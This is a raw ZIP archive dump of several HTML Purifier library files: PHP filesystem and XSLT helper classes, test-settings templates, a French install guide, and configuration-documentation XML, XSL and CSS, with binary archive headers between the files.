// Be polite and ensure that userland autoload gets retained
spl_autoload_register('__autoload');
}
} elseif (!function_exists('__autoload')) {
require dirname(__FILE__) . '/HTMLPurifierExtras.autoload-legacy.php';
}
// vim: et sw=4 sts=4
PK j�$Z_���f f 3 htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.phpnu �[��� <?php
/**
* Decorator/extender XSLT processor specifically for HTML documents.
*/
class ConfigDoc_HTMLXSLTProcessor
{
/**
* Instance of XSLTProcessor
*/
protected $xsltProcessor;
public function __construct($proc = false)
{
if ($proc === false) $proc = new XSLTProcessor();
$this->xsltProcessor = $proc;
}
/**
* @note Allows a string $xsl filename to be passed
*/
public function importStylesheet($xsl)
{
if (is_string($xsl)) {
$xsl_file = $xsl;
$xsl = new DOMDocument();
$xsl->load($xsl_file);
}
return $this->xsltProcessor->importStylesheet($xsl);
}
/**
* Transforms an XML file into compatible XHTML based on the stylesheet
* @param $xml XML DOM tree, or string filename
* @return string HTML output
* @todo Rename to transformToXHTML, as transformToHTML is misleading
*/
public function transformToHTML($xml)
{
if (is_string($xml)) {
$dom = new DOMDocument();
$dom->load($xml);
} else {
$dom = $xml;
}
$out = $this->xsltProcessor->transformToXML($dom);
// fudges for HTML backwards compatibility
// assumes that document is XHTML
$out = str_replace('/>', ' />', $out); // <br /> not <br/>
$out = str_replace(' xmlns=""', '', $out); // rm unnecessary xmlns
if (class_exists('Tidy')) {
// cleanup output
$config = array(
'indent' => true,
'output-xhtml' => true,
'wrap' => 80
);
$tidy = new Tidy;
$tidy->parseString($out, $config, 'utf8');
$tidy->cleanRepair();
$out = (string) $tidy;
}
return $out;
}
/**
* Bulk sets parameters for the XSL stylesheet
* @param array $options Associative array of options to set
*/
public function setParameters($options)
{
foreach ($options as $name => $value) {
$this->xsltProcessor->setParameter('', $name, $value);
}
}
/**
* Forward any other calls to the XSLT processor
*/
public function __call($name, $arguments)
{
call_user_func_array(array($this->xsltProcessor, $name), $arguments);
}
}
// vim: et sw=4 sts=4
PK j�$Z��$�; ; $ htmlpurifier/extras/FSTools/File.phpnu �[��� <?php
/**
* Represents a file in the filesystem
*
* @warning Be sure to distinguish between get() and write() versus
* read() and put(), the former operates on the entire file, while
* the latter operates on a handle.
*/
class FSTools_File
{
/** Filename of file this object represents */
protected $name;
/** Handle for the file */
protected $handle = false;
/** Instance of FSTools for interfacing with filesystem */
protected $fs;
/**
* Filename of file you wish to instantiate.
* @note This file need not exist
*/
public function __construct($name, $fs = false)
{
$this->name = $name;
$this->fs = $fs ? $fs : FSTools::singleton();
}
/** Returns the filename of the file. */
public function getName() {return $this->name;}
/** Returns directory of the file without trailing slash */
public function getDirectory() {return $this->fs->dirname($this->name);}
/**
* Retrieves the contents of a file
* @todo Throw an exception if file doesn't exist
*/
public function get()
{
return $this->fs->file_get_contents($this->name);
}
/** Writes contents to a file, creates new file if necessary */
public function write($contents)
{
return $this->fs->file_put_contents($this->name, $contents);
}
/** Deletes the file */
public function delete()
{
return $this->fs->unlink($this->name);
}
/** Returns true if file exists and is a file. */
public function exists()
{
return $this->fs->is_file($this->name);
}
/** Returns last file modification time */
public function getMTime()
{
return $this->fs->filemtime($this->name);
}
/**
* Chmod a file
* @note We ignore errors because of some weird owner trickery due
* to SVN duality
*/
public function chmod($octal_code)
{
return @$this->fs->chmod($this->name, $octal_code);
}
/** Opens file's handle */
public function open($mode)
{
if ($this->handle) $this->close();
$this->handle = $this->fs->fopen($this->name, $mode);
return true;
}
/** Closes file's handle */
public function close()
{
if (!$this->handle) return false;
$status = $this->fs->fclose($this->handle);
$this->handle = false;
return $status;
}
/** Retrieves a line from an open file, with optional max length $length */
public function getLine($length = null)
{
if (!$this->handle) $this->open('r');
if ($length === null) return $this->fs->fgets($this->handle);
else return $this->fs->fgets($this->handle, $length);
}
/** Retrieves a character from an open file */
public function getChar()
{
if (!$this->handle) $this->open('r');
return $this->fs->fgetc($this->handle);
}
/** Retrieves an $length bytes of data from an open data */
public function read($length)
{
if (!$this->handle) $this->open('r');
return $this->fs->fread($this->handle, $length);
}
/** Writes to an open file */
public function put($string)
{
if (!$this->handle) $this->open('a');
return $this->fs->fwrite($this->handle, $string);
}
/** Returns TRUE if the end of the file has been reached */
public function eof()
{
if (!$this->handle) return true;
return $this->fs->feof($this->handle);
}
public function __destruct()
{
if ($this->handle) $this->close();
}
}
// vim: et sw=4 sts=4
PK j�$Z�3�< < htmlpurifier/extras/FSTools.phpnu �[��� <?php
/**
* Filesystem tools not provided by default; can recursively create, copy
* and delete folders. Some template methods are provided for extensibility.
*
* @note This class must be instantiated to be used, although it does
* not maintain state.
*/
class FSTools
{
private static $singleton;
/**
* Returns a global instance of FSTools
*/
public static function singleton()
{
if (empty(FSTools::$singleton)) FSTools::$singleton = new FSTools();
return FSTools::$singleton;
}
/**
* Sets our global singleton to something else; useful for overloading
* functions.
*/
public static function setSingleton($singleton)
{
FSTools::$singleton = $singleton;
}
/**
* Recursively creates a directory
* @param string $folder Name of folder to create
* @note Adapted from the PHP manual comment 76612
*/
public function mkdirr($folder)
{
$folders = preg_split("#[\\\\/]#", $folder);
$base = '';
for($i = 0, $c = count($folders); $i < $c; $i++) {
if(empty($folders[$i])) {
if (!$i) {
// special case for root level
$base .= DIRECTORY_SEPARATOR;
}
continue;
}
$base .= $folders[$i];
if(!is_dir($base)){
$this->mkdir($base);
}
$base .= DIRECTORY_SEPARATOR;
}
}
/**
* Copy a file, or recursively copy a folder and its contents; modified
* so that copied files, if PHP, have includes removed
* @note Adapted from http://aidanlister.com/repos/v/function.copyr.php
*/
public function copyr($source, $dest)
{
// Simple copy for a file
if (is_file($source)) {
return $this->copy($source, $dest);
}
// Make destination directory
if (!is_dir($dest)) {
$this->mkdir($dest);
}
// Loop through the folder
$dir = $this->dir($source);
while ( false !== ($entry = $dir->read()) ) {
// Skip pointers
if ($entry == '.' || $entry == '..') {
continue;
}
if (!$this->copyable($entry)) {
continue;
}
// Deep copy directories
if ($dest !== "$source/$entry") {
$this->copyr("$source/$entry", "$dest/$entry");
}
}
// Clean up
$dir->close();
return true;
}
/**
* Overloadable function that tests a filename for copyability. By
* default, everything should be copied; you can restrict things to
* ignore hidden files, unreadable files, etc. This function
* applies to copyr().
*/
public function copyable($file)
{
return true;
}
/**
* Delete a file, or a folder and its contents
* @note Adapted from http://aidanlister.com/repos/v/function.rmdirr.php
*/
public function rmdirr($dirname)
{
// Sanity check
if (!$this->file_exists($dirname)) {
return false;
}
// Simple delete for a file
if ($this->is_file($dirname) || $this->is_link($dirname)) {
return $this->unlink($dirname);
}
// Loop through the folder
$dir = $this->dir($dirname);
while (false !== $entry = $dir->read()) {
// Skip pointers
if ($entry == '.' || $entry == '..') {
continue;
}
// Recurse
$this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
}
// Clean up
$dir->close();
return $this->rmdir($dirname);
}
/**
* Recursively globs a directory.
*/
public function globr($dir, $pattern, $flags = NULL)
{
$files = $this->glob("$dir/$pattern", $flags);
if ($files === false) $files = array();
$sub_dirs = $this->glob("$dir/*", GLOB_ONLYDIR);
if ($sub_dirs === false) $sub_dirs = array();
foreach ($sub_dirs as $sub_dir) {
$sub_files = $this->globr($sub_dir, $pattern, $flags);
$files = array_merge($files, $sub_files);
}
return $files;
}
/**
* Allows for PHP functions to be called and be stubbed.
* @warning This function will not work for functions that need
* to pass references; manually define a stub function for those.
*/
public function __call($name, $args)
{
return call_user_func_array($name, $args);
}
}
// vim: et sw=4 sts=4
PK j�$Z���( : htmlpurifier/extras/HTMLPurifierExtras.autoload-legacy.phpnu �[��� <?php
/**
* @file
* Legacy autoloader for systems lacking spl_autoload_register
*
* Must be separate to prevent deprecation warning on PHP 7.2
*/
function __autoload($class)
{
return HTMLPurifierExtras::autoload($class);
}
// vim: et sw=4 sts=4
PK j�$Z
9�� � htmlpurifier/extras/READMEnu �[���
HTML Purifier Extras
The Method Behind The Madness!
The extras/ folder in HTML Purifier contains--you guessed it--extra things
for HTML Purifier. Specifically, these are two extra libraries called
FSTools and ConfigSchema. They're extra for a reason: you don't need them
if you're using HTML Purifier for normal usage: filtering HTML. However,
if you're a developer, and would like to test HTML Purifier, or need to
use one of HTML Purifier's maintenance scripts, chances are they'll need
these libraries. Who knows: maybe you'll find them useful too!
Here are the libraries:
FSTools
-------
Short for File System Tools, this is a poor-man's object-oriented wrapper for
the filesystem. It currently consists of two classes:
- FSTools: This is a singleton that contains a manner of useful functions
such as recursive glob, directory removal, etc, as well as the ability
to call arbitrary native PHP functions through it like $FS->fopen(...).
This makes it a lot simpler to mock these filesystem calls for unit testing.
- FSTools_File: This object represents a single file, and has almost any
method imaginable one would need.
Check the files themselves for more information.
vim: et sw=4 sts=4
PK j�$ZJGJ�
�
% htmlpurifier/test-settings.sample.phpnu �[��� <?php
// ATTENTION! DO NOT EDIT THIS FILE!
// This file is necessary to run the unit tests and profiling scripts.
// Please copy it to 'test-settings.php' and make the necessary edits.
// Note: The only external library you *need* is SimpleTest; everything else
// is optional.
// We've got a lot of tests, so we recommend turning the limit off.
set_time_limit(0);
// Turning off output buffering will prevent mysterious errors from core dumps.
$data = @ob_get_clean();
if ($data !== false && $data !== '') {
echo "Output buffer contains data [".urlencode($data)."]\n";
exit;
}
// -----------------------------------------------------------------------------
// REQUIRED SETTINGS
// Note on running SimpleTest:
// You want the Git copy of SimpleTest, found here:
// https://github.com/simpletest/simpletest/
//
// If SimpleTest is borked with HTML Purifier, please contact me or
// the SimpleTest devs; I am a developer for SimpleTest so I should be
// able to quickly assess a fix. SimpleTest's problem is my problem!
// Where is SimpleTest located? Remember to include a trailing slash!
$simpletest_location = '/path/to/simpletest/';
// -----------------------------------------------------------------------------
// OPTIONAL SETTINGS
// Note on running PHPT:
// Vanilla PHPT from https://github.com/tswicegood/PHPT_Core should
// work fine on Linux w/o multitest.
//
// To do multitest or Windows testing, you'll need some more
// patches at https://github.com/ezyang/PHPT_Core
//
// I haven't tested the Windows setup in a while so I don't know if
// it still works.
// Should PHPT tests be enabled?
$GLOBALS['HTMLPurifierTest']['PHPT'] = false;
// If PHPT isn't in your Path via PEAR, set that here:
// set_include_path('/path/to/phpt/Core/src' . PATH_SEPARATOR . get_include_path());
// Where is CSSTidy located? (Include trailing slash. Leave false to disable.)
$csstidy_location = false;
// For tests/multitest.php, which versions to test?
$versions_to_test = array();
// Stable PHP binary to use when invoking maintenance scripts.
$php = 'php';
// For tests/multitest.php, what is the multi-version executable? It must
// accept an extra parameter (version number) before all other arguments
$phpv = false;
// Should PEAR tests be run? If you've got a valid PEAR installation, set this
// to true (or, if it's not in the include path, to its install directory).
$GLOBALS['HTMLPurifierTest']['PEAR'] = false;
// If PEAR is enabled, what PEAR tests should be run? (Note: you will
// need to ensure these libraries are installed)
$GLOBALS['HTMLPurifierTest']['Net_IDNA2'] = true;
// vim: et sw=4 sts=4
PK j�$Z�P��!
!
% htmlpurifier/test-settings.travis.phpnu �[��� <?php
// This file is the configuration for Travis testing.
// Note: The only external library you *need* is SimpleTest; everything else
// is optional.
// We've got a lot of tests, so we recommend turning the limit off.
set_time_limit(0);
// Turning off output buffering will prevent mysterious errors from core dumps.
$data = @ob_get_clean();
if ($data !== false && $data !== '') {
echo "Output buffer contains data [".urlencode($data)."]\n";
exit;
}
// -----------------------------------------------------------------------------
// REQUIRED SETTINGS
// Note on running SimpleTest:
// You want the Git copy of SimpleTest, found here:
// https://github.com/simpletest/simpletest/
//
// If SimpleTest is borked with HTML Purifier, please contact me or
// the SimpleTest devs; I am a developer for SimpleTest so I should be
// able to quickly assess a fix. SimpleTest's problem is my problem!
// Where is SimpleTest located? Remember to include a trailing slash!
$simpletest_location = dirname(__FILE__) . '/simpletest/';
// -----------------------------------------------------------------------------
// OPTIONAL SETTINGS
// Note on running PHPT:
// Vanilla PHPT from https://github.com/tswicegood/PHPT_Core should
// work fine on Linux w/o multitest.
//
// To do multitest or Windows testing, you'll need some more
// patches at https://github.com/ezyang/PHPT_Core
//
// I haven't tested the Windows setup in a while so I don't know if
// it still works.
// Should PHPT tests be enabled?
$GLOBALS['HTMLPurifierTest']['PHPT'] = false;
// If PHPT isn't in your Path via PEAR, set that here:
// set_include_path('/path/to/phpt/Core/src' . PATH_SEPARATOR . get_include_path());
// Where is CSSTidy located? (Include trailing slash. Leave false to disable.)
$csstidy_location = false;
// For tests/multitest.php, which versions to test?
$versions_to_test = array();
// Stable PHP binary to use when invoking maintenance scripts.
$php = 'php';
// For tests/multitest.php, what is the multi-version executable? It must
// accept an extra parameter (version number) before all other arguments
$phpv = false;
// Should PEAR tests be run? If you've got a valid PEAR installation, set this
// to true (or, if it's not in the include path, to its install directory).
$GLOBALS['HTMLPurifierTest']['PEAR'] = false;
// If PEAR is enabled, what PEAR tests should be run? (Note: you will
// need to ensure these libraries are installed)
$GLOBALS['HTMLPurifierTest']['Net_IDNA2'] = true;
// vim: et sw=4 sts=4
PK j�$Z�`��i i htmlpurifier/INSTALL.fr.utf8nu �[���
Installation
Comment installer HTML Purifier
Attention : Ce document est encodé en UTF-8, si les lettres avec des accents
ne s'affichent pas, prenez un meilleur éditeur de texte.
L'installation de HTML Purifier est très simple, parce qu'il n'a pas besoin
de configuration. Pour les utilisateurs impatients, le code se trouve dans le
pied de page, mais je recommande de lire le document.
1. Compatibilité
HTML Purifier fonctionne avec PHP 5. PHP 5.3 est la dernière version testée.
Il ne dépend pas d'autres librairies.
Les extensions optionnelles sont iconv (généralement déjà installée) et tidy
(répendue aussi). Si vous utilisez UTF-8 et que vous ne voulez pas l'indentation,
vous pouvez utiliser HTML Purifier sans ces extensions.
2. Inclure la librairie
Quand vous devez l'utilisez, incluez le :
require_once('/path/to/library/HTMLPurifier.auto.php');
Ne pas l'inclure si ce n'est pas nécessaire, car HTML Purifier est lourd.
HTML Purifier utilise "autoload". Si vous avez défini la fonction __autoload,
vous devez ajouter cette fonction :
spl_autoload_register('__autoload')
Plus d'informations dans le document "INSTALL".
3. Installation rapide
Si votre site Web est en UTF-8 et XHTML Transitional, utilisez :
<?php
require_once('/path/to/htmlpurifier/library/HTMLPurifier.auto.php');
$purificateur = new HTMLPurifier();
$html_propre = $purificateur->purify($html_a_purifier);
?>
Sinon, utilisez :
<?php
require_once('/path/to/html/purifier/library/HTMLPurifier.auto.load');
$config = $HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'ISO-8859-1'); //Remplacez par votre
encodage
$config->set('Core', 'XHTML', true); //Remplacer par false si HTML 4.01
$purificateur = new HTMLPurifier($config);
$html_propre = $purificateur->purify($html_a_purifier);
?>
vim: et sw=4 sts=4
PK j�$Z��!v htmlpurifier/configdoc/types.xmlnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<types>
<type id="string" name="String"><div xmlns="http://www.w3.org/1999/xhtml">
A <a
href="http://docs.php.net/manual/en/language.types.string.php">sequence
of characters</a>.
</div></type>
<type id="istring" name="Case-insensitive string"><div xmlns="http://www.w3.org/1999/xhtml">
A series of case-insensitive characters. Internally, upper-case
ASCII characters will be converted to lower-case.
</div></type>
<type id="text" name="Text"><div xmlns="http://www.w3.org/1999/xhtml">
A series of characters that may contain newlines. Text tends to
indicate human-oriented text, as opposed to a machine format.
</div></type>
<type id="itext" name="Case-insensitive text"><div xmlns="http://www.w3.org/1999/xhtml">
A series of case-insensitive characters that may contain newlines.
</div></type>
<type id="int" name="Integer"><div xmlns="http://www.w3.org/1999/xhtml">
An <a
href="http://docs.php.net/manual/en/language.types.integer.php">
integer</a>. You are alternatively permitted to pass a string of
digits instead, which will be cast to an integer using
<code>(int)</code>.
</div></type>
<type id="float" name="Float"><div xmlns="http://www.w3.org/1999/xhtml">
A <a href="http://docs.php.net/manual/en/language.types.float.php">
floating point number</a>. You are alternatively permitted to
pass a numeric string (as defined by <code>is_numeric()</code>),
which will be cast to a float using <code>(float)</code>.
</div></type>
<type id="bool" name="Boolean"><div xmlns="http://www.w3.org/1999/xhtml">
A <a
href="http://docs.php.net/manual/en/language.types.boolean.php">boolean</a>.
You are alternatively permitted to pass an integer <code>0</code> or
<code>1</code> (other integers are not permitted) or a string
<code>"on"</code>, <code>"true"</code> or <code>"1"</code> for
<code>true</code>, and <code>"off"</code>, <code>"false"</code> or
<code>"0"</code> for <code>false</code>.
</div></type>
<type id="lookup" name="Lookup array"><div xmlns="http://www.w3.org/1999/xhtml">
An array whose values are <code>true</code>, e.g. <code>array('key'
=> true, 'key2' => true)</code>. You are alternatively permitted
to pass an array list of the keys <code>array('key', 'key2')</code>
or a comma-separated string of keys <code>"key, key2"</code>. If
you pass an array list of values, ensure that your values are
strictly numerically indexed: <code>array('key1', 2 =>
'key2')</code> will not do what you expect and emits a warning.
</div></type>
<type id="list" name="Array list"><div xmlns="http://www.w3.org/1999/xhtml">
An array which has consecutive integer indexes, e.g.
<code>array('val1', 'val2')</code>. You are alternatively permitted
to pass a comma-separated string of keys <code>"val1, val2"</code>.
If your array is not in this form, <code>array_values</code> is run
on the array and a warning is emitted.
</div></type>
<type id="hash" name="Associative array"><div xmlns="http://www.w3.org/1999/xhtml">
An array which is a mapping of keys to values, e.g.
<code>array('key1' => 'val1', 'key2' => 'val2')</code>. You are
alternatively permitted to pass a comma-separated string of
key-colon-value strings, e.g. <code>"key1: val1, key2: val2"</code>.
</div></type>
<type id="mixed" name="Mixed"><div xmlns="http://www.w3.org/1999/xhtml">
An arbitrary PHP value of any type.
</div></type>
</types>
<!-- vim: et sw=4 sts=4
-->
PK j�$ZB
��% �% ' htmlpurifier/configdoc/styles/plain.xslnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version = "1.0"
xmlns = "http://www.w3.org/1999/xhtml"
xmlns:xsl = "http://www.w3.org/1999/XSL/Transform"
>
<xsl:output
method = "xml"
encoding = "UTF-8"
doctype-public = "-//W3C//DTD XHTML 1.0 Transitional//EN"
doctype-system = "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
indent = "no"
media-type = "text/html"
/>
<xsl:param name="css" select="'styles/plain.css'"/>
<xsl:param name="title" select="'Configuration Documentation'"/>
<xsl:variable name="typeLookup" select="document('../types.xml')/types" />
<xsl:variable name="usageLookup" select="document('../usage.xml')/usage" />
<!-- Twiddle this variable to get the columns as even as possible -->
<xsl:variable name="maxNumberAdjust" select="2" />
<xsl:template match="/">
<html lang="en" xml:lang="en">
<head>
<title><xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /></title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
<link rel="stylesheet" type="text/css" href="{$css}" />
</head>
<body>
<div id="content">
<div id="library"><xsl:value-of select="/configdoc/title" /></div>
<h1><xsl:value-of select="$title" /></h1>
<div id="tocContainer">
<h2>Table of Contents</h2>
<ul id="toc">
<xsl:apply-templates mode="toc">
<xsl:with-param name="overflowNumber" select="round(count(/configdoc/namespace) div 2) + $maxNumberAdjust" />
</xsl:apply-templates>
</ul>
</div>
<div id="typesContainer">
<h2>Types</h2>
<xsl:apply-templates select="$typeLookup" mode="types" />
</div>
<xsl:apply-templates />
</div>
</body>
</html>
</xsl:template>
<xsl:template match="type" mode="types">
<div class="type-block">
<xsl:attribute name="id">type-<xsl:value-of select="@id" /></xsl:attribute>
<h3><code><xsl:value-of select="@id" /></code>: <xsl:value-of select="@name" /></h3>
<div class="type-description">
<xsl:copy-of xmlns:xhtml="http://www.w3.org/1999/xhtml" select="xhtml:div/node()" />
</div>
</div>
</xsl:template>
<xsl:template match="title" mode="toc" />
<xsl:template match="namespace" mode="toc">
<xsl:param name="overflowNumber" />
<xsl:variable name="number"><xsl:number level="single" /></xsl:variable>
<xsl:variable name="directiveNumber"><xsl:number level="any" count="directive" /></xsl:variable>
<xsl:if test="count(directive)>0">
<li>
<!-- BEGIN multicolumn code -->
<xsl:if test="$number >= $overflowNumber">
<xsl:attribute name="class">col-2</xsl:attribute>
</xsl:if>
<xsl:if test="$number = $overflowNumber">
<xsl:attribute name="style">margin-top:-<xsl:value-of select="($number * 2 + $directiveNumber - 3) * 1.2" />em</xsl:attribute>
</xsl:if>
<!-- END multicolumn code -->
<a href="#{@id}"><xsl:value-of select="name" /></a>
<ul>
<xsl:apply-templates select="directive" mode="toc">
<xsl:with-param name="overflowNumber" select="$overflowNumber" />
</xsl:apply-templates>
</ul>
<xsl:if test="$number + 1 = $overflowNumber">
<div class="col-l" />
</xsl:if>
</li>
</xsl:if>
</xsl:template>
<xsl:template match="directive" mode="toc">
<xsl:variable name="number">
<xsl:number level="any" count="directive|namespace" />
</xsl:variable>
<xsl:if test="not(deprecated)">
<li>
<a href="#{@id}"><xsl:value-of select="name" /></a>
</li>
</xsl:if>
</xsl:template>
<xsl:template match="title" />
<xsl:template match="namespace">
<div class="namespace">
<xsl:apply-templates />
<xsl:if test="count(directive)=0">
<p>No configuration directives defined for this namespace.</p>
</xsl:if>
</div>
</xsl:template>
<xsl:template match="namespace/name">
<h2 id="{../@id}"><xsl:value-of select="." /></h2>
</xsl:template>
<xsl:template match="namespace/description">
<div class="description">
<xsl:copy-of xmlns:xhtml="http://www.w3.org/1999/xhtml" select="xhtml:div/node()" />
</div>
</xsl:template>
<xsl:template match="directive">
<div>
<xsl:attribute name="class"><!--
-->directive<!--
--><xsl:if test="deprecated"> deprecated</xsl:if><!--
--></xsl:attribute>
<xsl:apply-templates>
<xsl:with-param name="id" select="@id" />
</xsl:apply-templates>
</div>
</xsl:template>
<xsl:template match="directive/name">
<xsl:param name="id" />
<xsl:apply-templates select="../aliases/alias" mode="anchor" />
<h3 id="{$id}"><xsl:value-of select="$id" /></h3>
</xsl:template>
<xsl:template match="alias" mode="anchor">
<a id="{.}"></a>
</xsl:template>
<!-- Do not pass through -->
<xsl:template match="alias"></xsl:template>
<xsl:template match="directive/constraints">
<xsl:param name="id" />
<table class="constraints">
<xsl:apply-templates />
<xsl:if test="../aliases/alias">
<xsl:apply-templates select="../aliases" mode="constraints" />
</xsl:if>
<xsl:apply-templates select="$usageLookup/directive[@id=$id]" />
</table>
</xsl:template>
<xsl:template match="directive/aliases" mode="constraints">
<tr>
<th>Aliases</th>
<td>
<xsl:for-each select="alias">
<xsl:if test="position()>1">, </xsl:if>
<xsl:value-of select="." />
</xsl:for-each>
</td>
</tr>
</xsl:template>
<xsl:template match="directive/description">
<div class="description">
<xsl:copy-of xmlns:xhtml="http://www.w3.org/1999/xhtml" select="xhtml:div/node()" />
</div>
</xsl:template>
<xsl:template match="directive/deprecated">
<div class="deprecated-notice">
<strong>Warning:</strong>
This directive was deprecated in version <xsl:value-of select="version" />.
<a href="#{use}">%<xsl:value-of select="use" /></a> should be used instead.
</div>
</xsl:template>
<xsl:template match="usage/directive">
<tr>
<th>Used in</th>
<td>
<ul>
<xsl:apply-templates />
</ul>
</td>
</tr>
</xsl:template>
<xsl:template match="usage/directive/file">
<li>
<em><xsl:value-of select="@name" /></em> on line<xsl:if test="count(line)>1">s</xsl:if>
<xsl:text> </xsl:text>
<xsl:for-each select="line">
<xsl:if test="position()>1">, </xsl:if>
<xsl:value-of select="." />
</xsl:for-each>
</li>
</xsl:template>
<xsl:template match="constraints/version">
<tr>
<th>Version added</th>
<td><xsl:value-of select="." /></td>
</tr>
</xsl:template>
<xsl:template match="constraints/type">
<tr>
<th>Type</th>
<td>
<xsl:variable name="type" select="text()" />
<xsl:attribute name="class">type type-<xsl:value-of select="$type" /></xsl:attribute>
<a>
<xsl:attribute name="href">#type-<xsl:value-of select="$type" /></xsl:attribute>
<xsl:value-of select="$typeLookup/type[@id=$type]/@name" />
<xsl:if test="@allow-null='yes'">
(or null)
</xsl:if>
</a>
</td>
</tr>
</xsl:template>
<xsl:template match="constraints/allowed">
<tr>
<th>Allowed values</th>
<td>
<xsl:for-each select="value"><!--
--><xsl:if test="position()>1">, </xsl:if>
"<xsl:value-of select="." />"<!--
--></xsl:for-each>
</td>
</tr>
</xsl:template>
<xsl:template match="constraints/default">
<tr>
<th>Default</th>
<td><pre><xsl:value-of select="." xml:space="preserve" /></pre></td>
</tr>
</xsl:template>
<xsl:template match="constraints/external">
<tr>
<th>External deps</th>
<td>
<ul>
<xsl:apply-templates />
</ul>
</td>
</tr>
</xsl:template>
<xsl:template match="constraints/external/project">
<li><xsl:value-of select="." /></li>
</xsl:template>
</xsl:stylesheet>
<!-- vim: et sw=4 sts=4
-->
PK j�$Z��/Z� � ' htmlpurifier/configdoc/styles/plain.cssnu �[���
body {margin:0;padding:0;}
#content {
margin:1em auto;
max-width: 47em;
width: expression(document.body.clientWidth >
85 * parseInt(document.body.currentStyle.fontSize) ?
"54em": "auto");
}
table {border-collapse:collapse;}
table td, table th {padding:0.2em;}
table.constraints {margin:0 0 1em;}
table.constraints th {
text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE;
width:8em;vertical-align:top;}
table.constraints td {padding-right:0.4em; padding-left: 1em;}
table.constraints td ul {padding:0; margin:0; list-style:none;}
table.constraints td pre {margin:0;}
#tocContainer {position:relative;}
#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;}
#toc li {position:relative; line-height: 1.2em;}
#toc .col-2 {margin-left:50%;}
#toc .col-l {float:left;}
#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;}
.description p {margin-top:0;margin-bottom:1em;}
#library, h1 {text-align:center; font-family:Garamond, serif;
font-variant:small-caps;}
#library {font-size:1em;}
h1 {margin-top:0;}
h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal;
font-size:1.3em; clear:both;}
h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; }
h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; }
.deprecated {color: #CCC;}
.deprecated table.constraints th {background:#FFF;}
.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;}
/* vim: et sw=4 sts=4 */
PK j�$ZU���
=
= htmlpurifier/configdoc/usage.xmlnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<usage>
<directive id="Core.CollectErrors">
<file name="HTMLPurifier.php">
<line>162</line>
</file>
<file name="HTMLPurifier/Lexer.php">
<line>85</line>
<line>326</line>
</file>
<file name="HTMLPurifier/Lexer/DirectLex.php">
<line>67</line>
<line>87</line>
<line>385</line>
</file>
<file name="HTMLPurifier/Strategy/RemoveForeignElements.php">
<line>57</line>
</file>
</directive>
<directive id="CSS.MaxImgLength">
<file name="HTMLPurifier/CSSDefinition.php">
<line>240</line>
</file>
</directive>
<directive id="CSS.Proprietary">
<file name="HTMLPurifier/CSSDefinition.php">
<line>365</line>
</file>
</directive>
<directive id="CSS.AllowTricky">
<file name="HTMLPurifier/CSSDefinition.php">
<line>369</line>
</file>
</directive>
<directive id="CSS.Trusted">
<file name="HTMLPurifier/CSSDefinition.php">
<line>373</line>
</file>
</directive>
<directive id="CSS.AllowImportant">
<file name="HTMLPurifier/CSSDefinition.php">
<line>377</line>
</file>
</directive>
<directive id="CSS.AllowedProperties">
<file name="HTMLPurifier/CSSDefinition.php">
<line>506</line>
</file>
</directive>
<directive id="CSS.ForbiddenProperties">
<file name="HTMLPurifier/CSSDefinition.php">
<line>522</line>
</file>
</directive>
<directive id="Cache.DefinitionImpl">
<file name="HTMLPurifier/DefinitionCacheFactory.php">
<line>66</line>
</file>
</directive>
<directive id="HTML.Doctype">
<file name="HTMLPurifier/DoctypeRegistry.php">
<line>119</line>
</file>
</directive>
<directive id="HTML.CustomDoctype">
<file name="HTMLPurifier/DoctypeRegistry.php">
<line>123</line>
</file>
</directive>
<directive id="HTML.XHTML">
<file name="HTMLPurifier/DoctypeRegistry.php">
<line>128</line>
</file>
</directive>
<directive id="HTML.Strict">
<file name="HTMLPurifier/DoctypeRegistry.php">
<line>133</line>
</file>
</directive>
<directive id="Core.Encoding">
<file name="HTMLPurifier/Encoder.php">
<line>380</line>
<line>428</line>
</file>
</directive>
<directive id="Test.ForceNoIconv">
<file name="HTMLPurifier/Encoder.php">
<line>388</line>
<line>439</line>
</file>
</directive>
<directive id="Core.EscapeNonASCIICharacters">
<file name="HTMLPurifier/Encoder.php">
<line>429</line>
</file>
</directive>
<directive id="Output.CommentScriptContents">
<file name="HTMLPurifier/Generator.php">
<line>70</line>
</file>
</directive>
<directive id="Output.FixInnerHTML">
<file name="HTMLPurifier/Generator.php">
<line>71</line>
</file>
</directive>
<directive id="Output.SortAttr">
<file name="HTMLPurifier/Generator.php">
<line>72</line>
</file>
</directive>
<directive id="Output.FlashCompat">
<file name="HTMLPurifier/Generator.php">
<line>73</line>
</file>
</directive>
<directive id="Output.TidyFormat">
<file name="HTMLPurifier/Generator.php">
<line>104</line>
</file>
</directive>
<directive id="Core.NormalizeNewlines">
<file name="HTMLPurifier/Generator.php">
<line>122</line>
</file>
<file name="HTMLPurifier/Lexer.php">
<line>308</line>
</file>
</directive>
<directive id="Output.Newline">
<file name="HTMLPurifier/Generator.php">
<line>123</line>
</file>
</directive>
<directive id="HTML.BlockWrapper">
<file name="HTMLPurifier/HTMLDefinition.php">
<line>263</line>
</file>
</directive>
<directive id="HTML.Parent">
<file name="HTMLPurifier/HTMLDefinition.php">
<line>273</line>
</file>
</directive>
<directive id="HTML.AllowedElements">
<file name="HTMLPurifier/HTMLDefinition.php">
<line>291</line>
</file>
</directive>
<directive id="HTML.AllowedAttributes">
<file name="HTMLPurifier/HTMLDefinition.php">
<line>292</line>
</file>
</directive>
<directive id="HTML.Allowed">
<file name="HTMLPurifier/HTMLDefinition.php">
<line>295</line>
</file>
</directive>
<directive id="HTML.ForbiddenElements">
<file name="HTMLPurifier/HTMLDefinition.php">
<line>399</line>
</file>
</directive>
<directive id="HTML.ForbiddenAttributes">
<file name="HTMLPurifier/HTMLDefinition.php">
<line>400</line>
</file>
</directive>
